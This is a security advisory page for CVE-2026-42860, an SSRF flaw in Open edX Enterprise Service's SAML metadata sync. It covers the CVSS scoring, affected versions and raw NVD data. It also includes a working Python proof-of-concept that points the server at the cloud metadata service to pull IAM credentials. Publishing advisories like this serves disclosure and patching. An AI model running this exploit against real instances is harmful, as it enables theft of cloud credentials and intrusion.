Security Vulnerability Report
中文
CVE-2026-42860 CVSS 8.5 HIGH

CVE-2026-42860

Published: 2026-05-11 18:16:37
Last Modified: 2026-05-11 21:19:01

Description

The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open edX Enterprise Service 7.0.2
Open edX Enterprise Service 7.0.3
Open edX Enterprise Service 7.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://vulnerable-openedx-instance.com" ADMIN_TOKEN = "<enterprise_admin_token>" ATTACKER_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 1: Update the SAML metadata source to the attacker's desired URL (SSRF) # This endpoint allows the Enterprise Admin to set the URL arbitrarily patch_payload = { "metadata_source": ATTACKER_URL } try: patch_response = requests.patch( f"{TARGET_URL}/enterprise/api/v1/saml_provider_config/", json=patch_payload, headers=headers ) print(f"Patch Status: {patch_response.status_code}") # Step 2: Trigger the data sync to force the server-side HTTP request # The server will fetch the URL defined in metadata_source via requests.get() sync_response = requests.post( f"{TARGET_URL}/enterprise/api/v1/saml_provider_data/sync_provider_data/", headers=headers ) # Step 3: Analyze the response for potential data leakage if sync_response.status_code == 200: print("[+] SSRF Triggered successfully. Response content:") print(sync_response.text) else: print(f"[-] Sync failed. Status: {sync_response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42860", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:36.547", "lastModified": "2026-05-11T21:19:00.510", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Open edx Enterprise Service app provides enterprise features to the Open edX platform. From 7.0.2 to 7.0.4, the sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout. This vulnerability is fixed in 7.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc", "source": "[email protected]"}, {"url": "https://github.com/openedx/edx-enterprise/security/advisories/GHSA-64cv-vxpr-j6vc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}